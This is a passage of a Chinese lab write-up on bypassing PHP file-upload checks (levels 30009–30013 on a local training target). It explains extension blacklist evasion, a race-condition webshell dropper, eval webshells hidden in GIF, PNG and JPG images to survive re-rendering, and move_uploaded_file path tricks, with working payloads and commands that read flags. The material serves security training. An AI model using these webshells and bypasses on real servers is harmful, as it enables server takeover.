alt="image-20201202160756857"></p><blockquote><p>这里解码后虽然看起来没有东西 但是如果不存在 %00 URL 解码后的空字节的话无法绕过成功上传</p></blockquote><p>上传成功：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201202161038.png" alt="image-20201202161038805"></p><hr><h1 id="30009-黑名单绕过"><a href="#30009-黑名单绕过" class="headerlink" title="30009 - 黑名单绕过"></a>30009 - 黑名单绕过</h1><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201202162201.png" alt="image-20201202162201276"></p><h2 id="本关特征-8"><a href="#本关特征-8" class="headerlink" title="本关特征"></a>本关特征</h2><p>黑名单限制了不可上传的文件类型</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201202162120.png" alt="image-20201202162120435"></p><h2 id="Bypass-8"><a href="#Bypass-8" class="headerlink" title="Bypass"></a>Bypass</h2><p>抓包改后缀为 <code>phtml</code> 即可上传成功：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201202162545.png" alt="image-20201202162545430"></p><blockquote><p>题目中提示的这些冷门后缀均可以绕过：phtml  pht  php3  php3p  php4  php5</p><p>或者 BP 改包：</p><p>p</p><p>hp</p><p>或者后缀加 00% 或者 %0a(换行) 或者空格</p><p>尝试能否在 ①.②p③h④p⑤  这五个位置进行 fuzz</p></blockquote><hr><h1 id="30010-条件竞争绕过"><a href="#30010-条件竞争绕过" class="headerlink" title="30010 - 条件竞争绕过"></a>30010 - 条件竞争绕过</h1><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201202163653.png" alt="image-20201202163652956"></p><h2 id="本关特征-9"><a href="#本关特征-9" class="headerlink" title="本关特征"></a>本关特征</h2><p>还是同样的白名单服务端校验：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201202164643.png" alt="image-20201202164643117"></p><ol><li>先通过 move_uploaded_file() 将文件上传至服务器中</li><li>上传完毕后通过 in_array($ext,$whitelist) 检查文件名后缀</li><li>如果后缀名合法，则对文件进行 rename 重命名，上传完成</li><li>如果后缀名非法，则 unlink 删除文件</li></ol><p>因此可以通过条件竞争的方式在unlink之前，访问 shell.php</p><h2 id="Bypass-9"><a href="#Bypass-9" class="headerlink" title="Bypass"></a>Bypass</h2><p>竞争马 <code>shell.php</code>：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> fputs(fopen(<span class="string">&#x27;x.php&#x27;</span>,<span class="string">&#x27;w&#x27;</span>),<span class="string">&#x27;&lt;?php eval($_REQUEST[x])?&gt;&#x27;</span>);<span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>抓包发送到 Intruder 使用 Null 空值无限爆破：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201202202424.png" alt="image-20201202202424416"></p><p>然后抓取访问 shell.php 的数据包：</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">GET</span> <span class="string">/upload/shell.php</span> HTTP/1.1</span><br><span class="line"><span class="attribute">Host</span>: 127.0.0.1:30010</span><br><span class="line"><span class="attribute">Upgrade-Insecure-Requests</span>: 1</span><br><span class="line"><span class="attribute">User-Agent</span>: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36</span><br><span class="line"><span class="attribute">Accept</span>: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9</span><br><span class="line"><span class="attribute">Sec-Fetch-Site</span>: none</span><br><span class="line"><span class="attribute">Sec-Fetch-Mode</span>: navigate</span><br><span class="line"><span class="attribute">Sec-Fetch-User</span>: ?1</span><br><span class="line"><span class="attribute">Sec-Fetch-Dest</span>: document</span><br><span class="line"><span class="attribute">Accept-Encoding</span>: gzip, deflate</span><br><span class="line"><span class="attribute">Accept-Language</span>: zh-CN,zh;q=0.9</span><br><span class="line"><span class="attribute">Connection</span>: close</span><br></pre></td></tr></table></figure><p>也使用 Null 空值爆破：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201202214004.png" alt="image-20201202214004036"></p><blockquote><p>这里空值爆破的时候一定要把 Positions 中的变量 clear 掉</p></blockquote><p>上传成功：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201202214050.png" alt="image-20201202214049619"></p><p> 进容器中验证一下：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201202214239.png" alt="image-20201202214239520"></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 查看当前容器</span></span><br><span class="line">docker ps -a</span><br><span class="line"><span class="comment"># 进入容器</span></span><br><span class="line">docker <span class="built_in">exec</span> -it a92 /bin/bash</span><br></pre></td></tr></table></figure><hr><h1 id="30011-二次渲染绕过"><a href="#30011-二次渲染绕过" class="headerlink" title="30011 - 二次渲染绕过"></a>30011 - 二次渲染绕过</h1><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201203094540.png" alt="image-20201203094540032"></p><h2 id="本关特征-10"><a href="#本关特征-10" class="headerlink" title="本关特征"></a>本关特征</h2><ul><li><p>服务端对上传的图片做了二次渲染</p></li><li><p>可以远程文件包含逃避渲染上传后的图片</p></li></ul><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201204103634.png" alt="image-20201204103634619"></p><h2 id="Bypass-10"><a href="#Bypass-10" class="headerlink" title="Bypass"></a>Bypass</h2><p>分别使用 GIF、PNG、JPG 来尝试绕过：</p><h2 id="GIF"><a href="#GIF" class="headerlink" title="GIF"></a>GIF</h2><p>上传一张 cute.gif</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201204123541.png" alt="image-20201204123541539"></p><p>下载渲染后的 /upload/1616623862.gif</p><p>使用 010Editor 打开渲染前后的两张 GIF，在没有发生变化的数据库部分插入 Webshell </p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201204104650.png" alt="image-20201204104650657"></p><p>对比发现文件头后到箭头上方的内容是一样的：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201204104925.png" alt="image-20201204104925737"></p><p>插入一句话 <code>&lt;?php eval($_REQUEST[1]);?&gt;</code></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201204123346.png" alt="image-20201204123346127"></p><p>上传后下载渲染后的 GIF 查看payload 是否还在：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201204125325.png" alt="image-20201204125325338"></p><p>利用文件包含上传的图马：<code>http://127.0.0.1:30011/?file=./upload/655485171.gif</code></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201204125758.png" alt="image-20201204125757996"></p><p>读 Flag：<code>http://127.0.0.1:30011/?file=./upload/655485171.gif&amp;1=system(%27cat%20/f*%27);</code></p><blockquote><p>/表示根目录的文件或文件夹</p><p>./ 表示当前目录的文件或文件夹 「 等于不加 / 」</p><p>../表示父级目录的文件或文件夹</p></blockquote><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201204130556.png" alt="image-20201204130556897"></p><h2 id="PNG"><a href="#PNG" class="headerlink" title="PNG"></a>PNG</h2><p>PNG 二次渲染后除了文件头，其他部分全部不一致</p><h3 id="写入-PLTE-数据块"><a href="#写入-PLTE-数据块" class="headerlink" title="写入 PLTE 数据块"></a>写入 PLTE 数据块</h3><blockquote><p><a href="https://wooyun.x10sec.org/static/drops/tips-16034.html" ref="nofollow">WooYun 乌云 - php imagecreatefrom* 系列函数之 png</a> </p><p>修改索引图像插入 PHP 代码的脚本项目地址为：<a href="https://github.com/hxer/imagecreatefrom-/blob/master/png/poc/poc_png.py" ref="nofollow">Github - poc_png.py</a> </p></blockquote><p>因为只有索引图像才能将 payload 成功插入到 PLTE 数据块中</p><p>所以准备一张索引颜色的 <code>love.png</code>：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201204134048.png" alt="image-20201204134048514"></p><p>使用上面的脚本生成 <code>love_shell.png</code></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">python png_shell.py -p <span class="string">&#x27;&lt;?php eval($_REQUEST[1]);?&gt;&#x27;</span> -o love_shell.png love.png</span><br><span class="line"></span><br><span class="line">hexdump -C love_shell.png | head -5</span><br><span class="line">00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|</span><br><span class="line">00000010  00 00 01 68 00 00 01 68  08 03 00 00 00 4d 3b 91  |...h...h.....M;.|</span><br><span class="line">00000020  e7 00 00 03 00 50 4c 54  45 3c 3f 70 68 70 20 65  |.....PLTE&lt;?php e|</span><br><span class="line">00000030  76 61 6c 28 24 5f 52 45  51 55 45 53 54 5b 31 5d  |val(<span class="variable">$_REQUEST</span>[1]|</span><br><span class="line">00000040  29 3b 3f 3e ff ff fe ff  ff fe ff ff ff ff ff ff  |);?&gt;............|</span><br></pre></td></tr></table></figure><p>上传进行二次渲染得到 <code>1914602453.png</code></p><p>使用脚本再次生成 <code>love_shell1.png</code></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">python png_shell.py -p <span class="string">&#x27;&lt;?php eval($_REQUEST[1]);?&gt;&#x27;</span> -o love_shell1.png 1914602453.png</span><br><span class="line"></span><br><span class="line">hexdump -C love_shell1.png | head -5</span><br><span class="line">00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|</span><br><span class="line">00000010  00 00 01 68 00 00 01 68  08 03 00 00 00 4d 3b 91  |...h...h.....M;.|</span><br><span class="line">00000020  e7 00 00 01 f5 50 4c 54  45 3c 3f 70 68 70 20 65  |.....PLTE&lt;?php e|</span><br><span class="line">00000030  76 61 6c 28 24 5f 52 45  51 55 45 53 54 5b 31 5d  |val(<span class="variable">$_REQUEST</span>[1]|</span><br><span class="line">00000040  29 3b 3f 3e <span class="built_in">fc</span> fb fb fd  <span class="built_in">fc</span> fd fa fa fa fb fa fa  |);?&gt;............|</span><br></pre></td></tr></table></figure><p>再次上传得到 <code>1997665874.png</code></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201204140855.png" alt="image-20201204140855280"></p><p>读取 Flag：<code>http://127.0.0.1:30011/?file=upload/1997665874.png&amp;1=system(%27cat%20/f*%27);</code></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201204141029.png" alt="image-20201204141029867"></p><p><strong>这里一共需要使用脚本制作两次：</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201204140928.png" alt="image-20201204140928170"></p><h3 id="写入IDAT数据块"><a href="#写入IDAT数据块" class="headerlink" title="写入IDAT数据块"></a>写入IDAT数据块</h3><p>新建一个 IDAT.php：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">$p = <span class="keyword">array</span>(<span class="number">0xa3</span>, <span class="number">0x9f</span>, <span class="number">0x67</span>, <span class="number">0xf7</span>, <span class="number">0x0e</span>, <span class="number">0x93</span>, <span class="number">0x1b</span>, <span class="number">0x23</span>,</span><br><span class="line">           <span class="number">0xbe</span>, <span class="number">0x2c</span>, <span class="number">0x8a</span>, <span class="number">0xd0</span>, <span class="number">0x80</span>, <span class="number">0xf9</span>, <span class="number">0xe1</span>, <span class="number">0xae</span>,</span><br><span class="line">           <span class="number">0x22</span>, <span class="number">0xf6</span>, <span class="number">0xd9</span>, <span class="number">0x43</span>, <span class="number">0x5d</span>, <span class="number">0xfb</span>, <span class="number">0xae</span>, <span class="number">0xcc</span>,</span><br><span class="line">           <span class="number">0x5a</span>, <span class="number">0x01</span>, <span class="number">0xdc</span>, <span class="number">0x5a</span>, <span class="number">0x01</span>, <span class="number">0xdc</span>, <span class="number">0xa3</span>, <span class="number">0x9f</span>,</span><br><span class="line">           <span class="number">0x67</span>, <span class="number">0xa5</span>, <span class="number">0xbe</span>, <span class="number">0x5f</span>, <span class="number">0x76</span>, <span class="number">0x74</span>, <span class="number">0x5a</span>, <span class="number">0x4c</span>,</span><br><span class="line">           <span class="number">0xa1</span>, <span class="number">0x3f</span>, <span class="number">0x7a</span>, <span class="number">0xbf</span>, <span class="number">0x30</span>, <span class="number">0x6b</span>, <span class="number">0x88</span>, <span class="number">0x2d</span>,</span><br><span class="line">           <span class="number">0x60</span>, <span class="number">0x65</span>, <span class="number">0x7d</span>, <span class="number">0x52</span>, <span class="number">0x9d</span>, <span class="number">0xad</span>, <span class="number">0x88</span>, <span class="number">0xa1</span>,</span><br><span class="line">           <span class="number">0x66</span>, <span class="number">0x44</span>, <span class="number">0x50</span>, <span class="number">0x33</span>);</span><br><span class="line"></span><br><span class="line">$img = imagecreatetruecolor(<span class="number">32</span>, <span class="number">32</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> ($y = <span class="number">0</span>; $y &lt; sizeof($p); $y += <span class="number">3</span>) &#123;</span><br><span class="line">   $r = $p[$y];</span><br><span class="line">   $g = $p[$y+<span class="number">1</span>];</span><br><span class="line">   $b = $p[$y+<span class="number">2</span>];</span><br><span class="line">   $color = imagecolorallocate($img, $r, $g, $b);</span><br><span class="line">   imagesetpixel($img, round($y / <span class="number">3</span>), <span class="number">0</span>, $color);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">imagepng($img,<span class="string">&#x27;./shell.png&#x27;</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p> 命令行 <code>php IDAT.php</code> 生成 <code>shell.png</code> </p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">hexdump -C shell.png</span><br><span class="line">00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|</span><br><span class="line">00000010  00 00 00 20 00 00 00 20  08 02 00 00 00 <span class="built_in">fc</span> 18 ed  |... ... ........|</span><br><span class="line">00000020  a3 00 00 00 09 70 48 59  73 00 00 0e c4 00 00 0e  |.....pHYs.......|</span><br><span class="line">00000030  c4 01 95 2b 0e 1b 00 00  00 60 49 44 41 54 48 89  |...+.....`IDATH.|</span><br><span class="line">00000040  63 5c 3c 3f 3d 24 5f 47  45 54 5b 30 5d 28 24 5f  |c\&lt;?=<span class="variable">$_GET</span>[0](<span class="variable">$_</span>|</span><br><span class="line">00000050  50 4f 53 54 5b 31 5d 29  3b 3f 3e 58 80 81 81 c1  |POST[1]);?&gt;X....|</span><br><span class="line">00000060  73 5e 37 93 <span class="built_in">fc</span> 8f 8b db  7e 5f d3 7d aa 27 f7 f1  |s^7.....~_.&#125;.<span class="string">&#x27;..|</span></span><br><span class="line"><span class="string">00000070  e3 c9 bf 5f ef 06 7c b2  30 30 63 d9 b9 67 fd d9  |..._..|.00c..g..|</span></span><br><span class="line"><span class="string">00000080  3d 1b ce 32 8c 82 51 30  0a 46 c1 28 18 05 a3 60  |=..2..Q0.F.(...`|</span></span><br><span class="line"><span class="string">00000090  14 8c 82 51 30 0a 86 0d  00 00 81 b2 1b 02 07 78  |...Q0..........x|</span></span><br><span class="line"><span class="string">000000a0  0d 0c 00 00 00 00 49 45  4e 44 ae 42 60 82        |......IEND.B`.|</span></span><br><span class="line"><span class="string">000000ae</span></span><br></pre></td></tr></table></figure><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201204154340.png" alt="image-20201204154340390"></p><p>上传后下载二次渲染之后的 <code>1800595762.png</code> 检验一下：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">hexdump -C 1800595762.png</span><br><span class="line">00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|</span><br><span class="line">00000010  00 00 00 20 00 00 00 20  08 02 00 00 00 <span class="built_in">fc</span> 18 ed  |... ... ........|</span><br><span class="line">00000020  a3 00 00 00 09 70 48 59  73 00 00 0e c4 00 00 0e  |.....pHYs.......|</span><br><span class="line">00000030  c4 01 95 2b 0e 1b 00 00  00 60 49 44 41 54 48 89  |...+.....`IDATH.|</span><br><span class="line">00000040  63 5c 3c 3f 3d 24 5f 47  45 54 5b 30 5d 28 24 5f  |c\&lt;?=<span class="variable">$_GET</span>[0](<span class="variable">$_</span>|</span><br><span class="line">00000050  50 4f 53 54 5b 31 5d 29  3b 3f 3e 58 80 81 81 c1  |POST[1]);?&gt;X....|</span><br><span class="line">00000060  73 5e 37 93 <span class="built_in">fc</span> 8f 8b db  7e 5f d3 7d aa 27 f7 f1  |s^7.....~_.&#125;.<span class="string">&#x27;..|</span></span><br><span class="line"><span class="string">00000070  e3 c9 bf 5f ef 06 7c b2  30 30 63 d9 b9 67 fd d9  |..._..|.00c..g..|</span></span><br><span class="line"><span class="string">00000080  3d 1b ce 32 8c 82 51 30  0a 46 c1 28 18 05 a3 60  |=..2..Q0.F.(...`|</span></span><br><span class="line"><span class="string">00000090  14 8c 82 51 30 0a 86 0d  00 00 81 b2 1b 02 07 78  |...Q0..........x|</span></span><br><span class="line"><span class="string">000000a0  0d 0c 00 00 00 00 49 45  4e 44 ae 42 60 82        |......IEND.B`.|</span></span><br><span class="line"><span class="string">000000ae</span></span><br></pre></td></tr></table></figure><p>成功绕过：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201204153742.png" alt="image-20201204153736218"></p><h2 id="JPG"><a href="#JPG" class="headerlink" title="JPG"></a>JPG</h2><p>JPG 也需要使用脚本将数据插入到特定的数据库，而且可能会不成功，所以需要多次尝试。</p><p><strong>项目地址</strong>：<a href="https://github.com/BlackFan/jpg_payload" ref="nofollow">Github - lackFan/jpg_payload</a></p><ol><li><p>先上传 <code>sheep.jpg</code></p></li><li><p>下载渲染后的 <code>518422027.jpg</code></p></li><li><p>使用 <code>jpg_payload.php</code> 脚本插入 payload </p></li></ol><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 修改脚本第一行的 payload：</span></span><br><span class="line">$miniPayload = <span class="string">&#x27;&lt;?php $_GET[0]($_POST[1]);?&gt;&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 命令行执行</span></span><br><span class="line">php jpg_payload.php <span class="number">518422027.</span>jpg</span><br><span class="line">Success!%</span><br></pre></td></tr></table></figure><ol start="4"><li>上传脚本处理后的 <code>payload_518422027.jpg</code></li></ol><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201204164848.png" alt="image-20201204164848428"></p><ol start="5"><li>二次渲染后得到 <code>596614187.jpg</code></li></ol><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201204164736.png" alt="image-20201204164736907"></p><ol start="6"><li>检查一下 payload 还在不在：</li></ol><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201204165036.png" alt="image-20201204165036283"></p><ol start="7"><li>成功执行 <code>ls /</code> 命令：</li></ol><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201204163013.png" alt="image-20201204163013249"></p><blockquote><p>注意需要被服务端 imagecreatefromjpeg 渲染后再用脚本插入 payload</p></blockquote><hr><h1 id="30012-move-uploaded-file-绕过"><a href="#30012-move-uploaded-file-绕过" class="headerlink" title="30012 - move_uploaded_file 绕过"></a>30012 - move_uploaded_file 绕过</h1><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201204165400.png" alt="image-20201204165400409"></p><h2 id="本关特征-11"><a href="#本关特征-11" class="headerlink" title="本关特征"></a>本关特征</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">move_uploaded_file($temp_file, $img_path)</span><br></pre></td></tr></table></figure><p>当 <code>$img_path</code> 可控的时候，还会忽略掉 <code>$img_path</code> 后面的 <code>/.</code>  可直接 Getshell</p><h2 id="Bypass-11"><a href="#Bypass-11" class="headerlink" title="Bypass"></a>Bypass</h2><p>保存文件名称为 <code>x.php/.</code></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201204170251.png" alt="image-20201204170251449"></p><p>读一下 Flag：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201204170326.png" alt="image-20201204170326145"></p><hr><h1 id="30013-代码审计绕过"><a href="#30013-代码审计绕过" class="headerlink" title="30013 - 代码审计绕过"></a>30013 - 代码审计绕过</h1><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201204171422.png" alt="image-20201204171421931"></p><h2 id="本关特征-12"><a href="#本关特征-12" class="headerlink" title="本关特征"></a>本关特征</h2><p>核心代码：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">$is_upload = <span class="literal">false</span>;</span><br><span class="line">$msg = <span class="literal">null</span>;</span><br><span class="line"><span class="keyword">if</span>(!<span class="keyword">empty</span>($_FILES[<span class="string">&#x27;upload_file&#x27;</span>]))&#123;</span><br><span class="line">    <span class="comment">//检查MIME</span></span><br><span class="line">    $allow_type = <span class="keyword">array</span>(<span class="string">&#x27;image/jpeg&#x27;</span>,<span class="string">&#x27;image/png&#x27;</span>,<span class="string">&#x27;image/gif&#x27;</span>);</span><br><span class="line">    <span class="keyword">if</span>(!in_array($_FILES[<span class="string">&#x27;upload_file&#x27;</span>][<span class="string">&#x27;type&#x27;</span>],$allow_type))&#123;</span><br><span class="line">        $msg = <span class="string">&quot;禁止上传该类型文件!&quot;</span>;</span><br><span class="line">    &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">        <span class="comment">//检查文件名</span></span><br><span class="line">        $file = <span class="keyword">empty</span>($_POST[<span class="string">&#x27;save_name&#x27;</span>]) ? $_FILES[<span class="string">&#x27;upload_file&#x27;</span>][<span class="string">&#x27;name&#x27;</span>] : $_POST[<span class="string">&#x27;save_name&#x27;</span>];</span><br><span class="line">        <span class="keyword">if</span> (!is_array($file)) &#123;</span><br><span class="line">            $file = explode(<span class="string">&#x27;.&#x27;</span>, strtolower($file));</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        $ext = end($file);</span><br><span class="line">        $allow_suffix = <span class="keyword">array</span>(<span class="string">&#x27;jpg&#x27;</span>,<span class="string">&#x27;png&#x27;</span>,<span class="string">&#x27;gif&#x27;</span>);</span><br><span class="line">        <span class="keyword">if</span> (!in_array($ext, $allow_suffix)) &#123;</span><br><span class="line">            $msg = <span class="string">&quot;禁止上传该后缀文件!&quot;</span>;</span><br><span class="line">        &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">            $file_name = reset($file) . <span class="string">&#x27;.&#x27;</span> . $file[count($file) - <span class="number">1</span>];</span><br><span class="line">            $temp_file = $_FILES[<span class="string">&#x27;upload_file&#x27;</span>][<span class="string">&#x27;tmp_name&#x27;</span>];</span><br><span class="line">            $img_path = UPLOAD_PATH . <span class="string">&#x27;/&#x27;</span> .$file_name;</span><br><span class="line">            <span class="keyword">if</span> (move_uploaded_file($temp_file, $img_path)) &#123;</span><br><span class="line">                $msg = <span class="string">&quot;文件上传成功！&quot;</span>;</span><br><span class="line">                $is_upload = <span class="literal">true</span>;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                $msg = <span class="string">&quot;文件上传失败！&quot;</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line">    $msg = <span class="string">&quot;请选择要上传的文件！&quot;</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>首先看第一个判断：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$allow_type = <span class="keyword">array</span>(<span class="string">&#x27;image/jpeg&#x27;</span>,<span class="string">&#x27;image/png&#x27;</span>,<span class="string">&#x27;image/gif&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(!in_array($_FILES[<span class="string">&#x27;upload_file&#x27;</span>][<span class="string">&#x27;type&#x27;</span>],$allow_type))&#123;</span><br><span class="line">  <span class="keyword">echo</span> <span class="string">&quot;&lt;script&gt;black();&lt;/script&gt;&quot;</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>所以必须保证我们上传的表单 MIME 类型一定要符合标准。</p><p>接着对我们提交的 sava_name 的字符串进行处理，如果不是数组的话就以 <code>.</code>为分隔，打散为数组：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$file = <span class="keyword">empty</span>($_POST[<span class="string">&#x27;save_name&#x27;</span>]) ? $_FILES[<span class="string">&#x27;upload_file&#x27;</span>][<span class="string">&#x27;name&#x27;</span>] : $_POST[<span class="string">&#x27;save_name&#x27;</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!is_array($file)) &#123;</span><br><span class="line">  $file = explode(<span class="string">&#x27;.&#x27;</span>, strtolower($file));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果是<strong>数组的话就无需打散</strong>，这里比较关键，后面再详细说，先记着。</p><p>因为打散后会校验最后的后缀：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">$ext = end($file);</span><br><span class="line">$allow_suffix = <span class="keyword">array</span>(<span class="string">&#x27;jpg&#x27;</span>,<span class="string">&#x27;png&#x27;</span>,<span class="string">&#x27;gif&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!in_array($ext, $allow_suffix)) &#123;</span><br><span class="line">  <span class="keyword">echo</span> <span class="string">&quot;&lt;script&gt;black();&lt;/script&gt;&quot;</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果不是合法后缀的话直接就报错了，所以我们老老实实的传入合法的字符串类型的不行的，这里的传入一个数组。比如这样的数组：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$file = [<span class="number">0</span>=&gt;<span class="string">&#x27;shell.php/&#x27;</span>, <span class="number">2</span>=&gt;<span 